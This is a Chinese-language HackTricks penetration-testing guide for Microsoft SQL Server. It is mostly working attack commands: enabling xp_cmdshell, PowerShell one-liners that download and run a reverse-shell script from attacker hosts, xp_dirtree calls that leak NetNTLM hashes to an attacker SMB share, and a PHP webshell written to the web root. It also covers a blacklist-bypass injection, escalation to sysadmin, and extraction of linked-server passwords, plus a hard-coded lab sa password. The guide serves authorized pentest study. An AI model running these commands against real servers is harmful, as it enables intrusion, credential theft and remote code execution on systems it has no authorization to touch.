hacktricks/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md

# 1433 - 渗透测试 MSSQL - Microsoft SQL Server

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***

## 基本信息

来自 [维基百科](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):

> **Microsoft SQL Server** 是由 Microsoft 开发的 **关系型数据库** 管理系统。作为数据库服务器，它是一个软件产品，其主要功能是根据其他软件应用程序的请求存储和检索数据，这些应用程序可以在同一台计算机上运行，也可以在网络上的另一台计算机上运行（包括互联网）。

**默认端口:** 1433
```
1433/tcp open  ms-sql-s      Microsoft SQL Server 2017 14.00.1000.00; RTM
```
### **默认 MS-SQL 系统表**

* **master 数据库**: 这个数据库非常重要，因为它记录了 SQL Server 实例的所有系统级别细节。
* **msdb 数据库**: SQL Server 代理程序利用这个数据库来管理警报和作业的调度。
* **model 数据库**: 作为 SQL Server 实例上每个新数据库的蓝图，其中任何更改，如大小、排序规则、恢复模型等，都会在新创建的数据库中得到反映。
* **Resource 数据库**: 一个只读数据库，存放着随 SQL Server 提供的系统对象。这些对象虽然物理上存储在 Resource 数据库中，但在每个数据库的 sys 模式中逻辑上呈现。
* **tempdb 数据库**: 用作临时存储区域，用于存放临时对象或中间结果集。


## 枚举

### 自动枚举

如果你对服务一无所知：
```bash
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
msf> use auxiliary/scanner/mssql/mssql_ping
```
{% hint style="info" %}
如果您**没有凭据**，可以尝试猜测它们。您可以使用nmap或metasploit。请注意，如果您使用现有用户名多次登录失败，可能会**锁定帐户**。
{% endhint %}

#### Metasploit（需要凭据）
```bash
#Set USERNAME, RHOSTS and PASSWORD
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used

#Steal NTLM
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer #Steal NTLM hash, before executing run Responder

#Info gathering
msf> use admin/mssql/mssql_enum #Security checks
msf> use admin/mssql/mssql_enum_domain_accounts
msf> use admin/mssql/mssql_enum_sql_logins
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/scanner/mssql/mssql_hashdump
msf> use auxiliary/scanner/mssql/mssql_schemadump

#Search for insteresting data
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/admin/mssql/mssql_idf

#Privesc
msf> use exploit/windows/mssql/mssql_linkcrawler
msf> use admin/mssql/mssql_escalate_execute_as #If the user has IMPERSONATION privilege, this will try to escalate
msf> use admin/mssql/mssql_escalate_dbowner #Escalate from db_owner to sysadmin

#Code execution
msf> use admin/mssql/mssql_exec #Execute commands
msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload

#Add new admin user from meterpreter session
msf> use windows/manage/mssql_local_auth_bypass
```
### [**暴力破解**](../../generic-methodologies-and-resources/brute-force.md#sql-server)

### 手动枚举

#### 登录
```bash
# Using Impacket mssqlclient.py
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machine
mssqlclient.py [-db volume] -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>

# Using sqsh
sqsh -S <IP> -U <Username> -P <Password> -D <Database>
## In case Windows Auth using "." as domain name for local user
sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
## In sqsh you need to use GO after writting the query to send it
1> select 1;
2> go
```
#### 常见枚举
```sql
# Get version
select @@version;
# Get user
select user_name();
# Get databases
SELECT name FROM master.dbo.sysdatabases;
# Use database
USE master

#Get table names
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;
#List Linked Servers
EXEC sp_linkedservers
SELECT * FROM sys.servers;
#List users
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
#Create user with sysadmin privs
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
EXEC sp_addsrvrolemember 'hacker', 'sysadmin'
```
#### 获取用户

{% content-ref url="types-of-mssql-users.md" %}
[types-of-mssql-users.md](types-of-mssql-users.md)
{% endcontent-ref %}
```sql
# Get all the users and roles
select * from sys.database_principals;
## This query filters a bit the results
select name,
create_date,
modify_date,
type_desc as type,
authentication_type_desc as authentication_type,
sid
from sys.database_principals
where type not in ('A', 'R')
order by name;

## Both of these select all the users of the current database (not the server).
## Interesting when you cannot acces the table sys.database_principals
EXEC sp_helpuser
SELECT * FROM sysusers
```
#### 获取权限

1. **可保护资源：** SQL Server 管理的用于访问控制的资源。这些资源分为以下类别：
   - **服务器级别** – 例如数据库、登录、端点、可用性组和服务器角色。
   - **数据库级别** – 例如数据库角色、应用程序角色、架构、证书、全文目录和用户。
   - **架构级别** – 包括表、视图、存储过程、函数、同义词等。

2. **权限：** 与 SQL Server 可保护资源相关联的权限，如 ALTER、CONTROL 和 CREATE 可授予给主体。权限的管理发生在两个级别：
   - **服务器级别** 使用登录
   - **数据库级别** 使用用户

3. **主体：** 此术语指被授予权限访问可保护资源的实体。主体主要包括登录和数据库用户。通过授予或拒绝权限，或将登录和用户包含在具有访问权限的角色中，来实施对可保护资源的访问控制。
```sql
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
# Show all possible permissions in MSSQL
SELECT * FROM sys.fn_builtin_permissions(DEFAULT);
# Get all my permissions over securable type SERVER
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
# Get all my permissions over a database
USE <database>
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');
# Get members of the role "sysadmin"
Use master
EXEC sp_helpsrvrolemember 'sysadmin';
# Get if the current user is sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');
# Get users that can run xp_cmdshell
Use master
EXEC sp_helprotect 'xp_cmdshell'
```
## 技巧

### 执行操作系统命令

{% hint style="danger" %}
请注意，要能够执行命令，不仅需要启用 **`xp_cmdshell`**，还需要对 **`xp_cmdshell` 存储过程具有 EXECUTE 权限**。您可以查看谁（除了 sysadmins）可以使用 **`xp_cmdshell`**：
```sql
Use master
EXEC sp_helprotect 'xp_cmdshell'
```
{% endhint %}
```bash
# Username + Password + CMD command
crackmapexec mssql -d <Domain name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command
crackmapexec mssql -d <Domain name> -u <username> -H <HASH> -X '$PSVersionTable'

# Check if xp_cmdshell is enabled
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';

# This turns on advanced options and is needed to configure xp_cmdshell
sp_configure 'show advanced options', '1'
RECONFIGURE
#This enables xp_cmdshell
sp_configure 'xp_cmdshell', '1'
RECONFIGURE

#One liner
sp_configure 'Show Advanced Options', 1; RECONFIGURE; sp_configure 'xp_cmdshell', 1; RECONFIGURE;

# Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'
# Get Rev shell
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'

# Bypass blackisted "EXEC xp_cmdshell"
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —
```
### 窃取 NetNTLM 哈希 / 中继攻击

您应该启动一个 **SMB 服务器** 来捕获在身份验证中使用的哈希（例如 `impacket-smbserver` 或 `responder`）。
```bash
xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
EXEC master..xp_subdirs '\\<attacker_IP>\anything\'
EXEC master..xp_fileexist '\\<attacker_IP>\anything\'

# Capture hash
sudo responder -I tun0
sudo impacket-smbserver share ./ -smb2support
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
```
{% hint style="warning" %}
您可以检查除了系统管理员之外谁有权限运行这些 MSSQL 函数：
```sql
Use master;
EXEC sp_helprotect 'xp_dirtree';
EXEC sp_helprotect 'xp_subdirs';
EXEC sp_helprotect 'xp_fileexist';
```
{% endhint %}

使用诸如 **responder** 或 **Inveigh** 等工具，可以**窃取 NetNTLM 哈希**。\
您可以查看如何使用这些工具：

{% content-ref url="../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %}
[spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
{% endcontent-ref %}

### 滥用 MSSQL 受信任链接

[**阅读此文章**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **以获取有关如何滥用此功能的更多信息：**

{% content-ref url="../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md" %}
[abusing-ad-mssql.md](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md)
{% endcontent-ref %}

### **写入文件**

要使用 `MSSQL` 写入文件，我们**需要启用** [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option)，这需要管理员特权，然后执行一些存储过程来创建文件：
```bash
# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
RECONFIGURE

sp_configure 'Ole Automation Procedures', 1
RECONFIGURE

# Create a File
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE
```
### **使用 OPENROWSET 读取文件**

默认情况下，`MSSQL` 允许对操作系统中帐户具有读取访问权限的任何文件进行读取。我们可以使用以下 SQL 查询：
```sql
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
```
然而，**`BULK`** 选项需要 **`ADMINISTER BULK OPERATIONS`** 或 **`ADMINISTER DATABASE BULK OPERATIONS`** 权限。
```sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
```
#### 基于错误的 SQLi 向量：
```
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
```
### **RCE/读取文件执行脚本（Python和R）**

MSSQL可以允许您执行**Python和/或R脚本**。这些代码将由一个**不同的用户**执行，而不是使用**xp\_cmdshell**来执行命令的用户。

尝试执行一个**'R'** _"Hellow World!"_ **不起作用**的示例：

![](<../../.gitbook/assets/image (185) (1).png>)

使用配置的Python执行多个操作的示例：
```sql
# Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO
```
### 读取注册表

Microsoft SQL Server提供了多个扩展存储过程，允许您与网络、文件系统甚至[Windows注册表](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server)进行交互：

| **常规**                  | **实例感知**                     |
| ---------------------------- | -------------------------------------- |
| sys.xp\_regread              | sys.xp\_instance\_regread              |
| sys.xp\_regenumvalues        | sys.xp\_instance\_regenumvalues        |
| sys.xp\_regenumkeys          | sys.xp\_instance\_regenumkeys          |
| sys.xp\_regwrite             | sys.xp\_instance\_regwrite             |
| sys.xp\_regdeletevalue       | sys.xp\_instance\_regdeletevalue       |
| sys.xp\_regdeletekey         | sys.xp\_instance\_regdeletekey         |
| sys.xp\_regaddmultistring    | sys.xp\_instance\_regaddmultistring    |
| sys.xp\_regremovemultistring | sys.xp\_instance\_regremovemultistring |
```sql
# Example read registry
EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory';
# Example write and then read registry
EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!';
EXECUTE master.sys.xp_instance_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue';
# Example to check who can use these functions
Use master;
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';
```
### 通过 MSSQL 用户定义函数 SQLHttp 进行 RCE <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>

可以在 MSSQL 中使用自定义函数加载 .NET dll。然而，这需要 `dbo` 访问权限，因此您需要一个作为 `sa` 或管理员角色连接到数据库。

查看[原始来源](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)以获取更多示例。

### RCE 的其他方法

还有其他方法可以实现命令执行，例如添加[扩展存储过程](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server)、[CLR 程序集](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration)、[SQL Server 代理作业](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15)和[外部脚本](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql)。

## MSSQL 权限提升

### 从 db_owner 提升至 sysadmin

如果将**普通用户**赋予**`db_owner`**角色对**由管理员用户**（如**`sa`**）拥有的数据库的权限，并且该数据库配置为**`trustworthy`**，那么该用户可以滥用这些权限进行**权限提升**，因为在其中创建的**存储过程**可以作为所有者（**管理员**）执行。
```sql
# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases

# Find trustworthy databases
SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;

# Get roles over the selected database (look for your username as db_owner)
USE <trustworthy_db>
SELECT rp.name as database_role, mp.name as database_user
from sys.database_role_members drm
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)

# If you found you are db_owner of a trustworthy database, you can privesc:
--1. Create a stored procedure to add your user to sysadmin role
USE <trustworthy_db>

CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'USERNAME','sysadmin'

--2. Execute stored procedure to get sysadmin role
USE <trustworthy_db>
EXEC sp_elevate_me

--3. Verify your user is a sysadmin
SELECT is_srvrolemember('sysadmin')
```
你可以使用一个**metasploit**模块：
```bash
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
```
或者一个 **PS** 脚本：
```powershell
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184
```
### 模拟其他用户

SQL Server有一个特殊权限，名为**`IMPERSONATE`**，允许执行用户承担另一个用户或登录的权限，直到上下文被重置或会话结束。
```sql
# Find users you can impersonate
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
# Check if the user "sa" or any other high privileged user is mentioned

# Impersonate sa user
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
```
{% hint style="info" %}
如果您可以冒充一个用户，即使他不是sysadmin，您应该检查该用户是否可以访问其他数据库或链接服务器。

请注意，一旦您成为sysadmin，您可以冒充任何其他用户：
{% endhint %}
```sql
-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
-- Verify you are now running as the the MyUser4 login
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
-- Change back to sa
REVERT
```
你可以使用**metasploit**模块执行这种攻击：
```bash
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
```
或者使用**PS**脚本：
```powershell
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!
```
## 使用MSSQL进行持久化

[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)

## 从SQL Server Linked Servers中提取密码
攻击者可以从SQL实例中提取SQL Server Linked Servers密码，并以明文形式获取这些密码，从而授予攻击者可以用来在目标上获得更大立足点的密码。
用于提取和解密存储在Linked Servers中的密码的脚本可以在[此处](https://www.richardswinbank.net/admin/extract_linked_server_passwords)找到。

为使此漏洞利用生效，需要进行一些要求和配置。
首先，您必须在计算机上拥有管理员权限，或者具有管理SQL Server配置的能力。

在验证权限后，您需要配置三件事，如下所示：
1. 在SQL Server实例上启用TCP/IP；
2. 添加一个启动参数，在本例中，将添加一个跟踪标志，即-T7806。
3. 启用远程管理员连接。

要自动化这些配置，[此存储库](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/)提供了所需的脚本。
除了为每个配置步骤提供一个PowerShell脚本外，该存储库还提供了一个完整脚本，结合了配置脚本以及密码的提取和解密。

有关此攻击的更多信息，请参考以下链接：
[解密MSSQL数据库链接服务器密码](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)

[解决SQL Server专用管理员连接问题](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)

## 本地权限提升

运行MSSQL服务器的用户将启用特权令牌**SeImpersonatePrivilege**。\
您可能能够通过以下两个页面之一**提升为管理员**：

{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md" %}
[roguepotato-and-printspoofer.md](../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md)
{% endcontent-ref %}

{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/juicypotato.md" %}
[juicypotato.md](../../windows-hardening/windows-local-privilege-escalation/juicypotato.md)
{% endcontent-ref %}

## Shodan

* `port:1433 !HTTP`

## 参考资料

* [如何获取所有数据库用户列表](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
* [SQL Server登录用户权限fn_my_permissions](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
* [高级MSSQL注入技巧](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
* [黑客SQL Server存储过程第一部分：不可信数据库](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
* [黑客SQL Server存储过程第二部分：用户冒充](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
* [通过Metasploit使用SQL Server执行SMB中继攻击](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
* [在SQL Server中使用注册表的工作](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
**Try Hard Security Group**

<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>

{% embed url="https://discord.gg/tryhardsecurity" %}

***

## HackTricks自动命令
```
Protocol_Name: MSSQL    #Protocol Abbreviation if there is one.
Port_Number:  1433     #Comma separated if there is more than one.
Protocol_Description: Microsoft SQL Server         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for MSSQL
Note: |
Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).

#sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G

###the goal is to get xp_cmdshell working###
1. try and see if it works
xp_cmdshell `whoami`
go

2. try to turn component back on
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell `whoami`
go

3. 'advanced' turn it back on
EXEC SP_CONFIGURE 'show advanced options', 1
reconfigure
go
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell 'whoami'
go




xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"


https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server

Entry_2:
Name: Nmap for SQL
Description: Nmap with SQL Scripts
Command: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 {IP}

Entry_3:
Name: MSSQL consolesless mfs enumeration
Description: MSSQL enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_enum; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use admin/mssql/mssql_enum_domain_accounts; set RHOSTS {IP}; set RPORT <PORT>; run; exit' &&msfconsole -q -x 'use admin/mssql/mssql_enum_sql_logins; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_dbowner; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_execute_as; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_exec; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_findandsampledata; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_hashdump; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_schemadump; set RHOSTS {IP}; set RPORT <PORT>; run; exit'

```
<details>

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</details>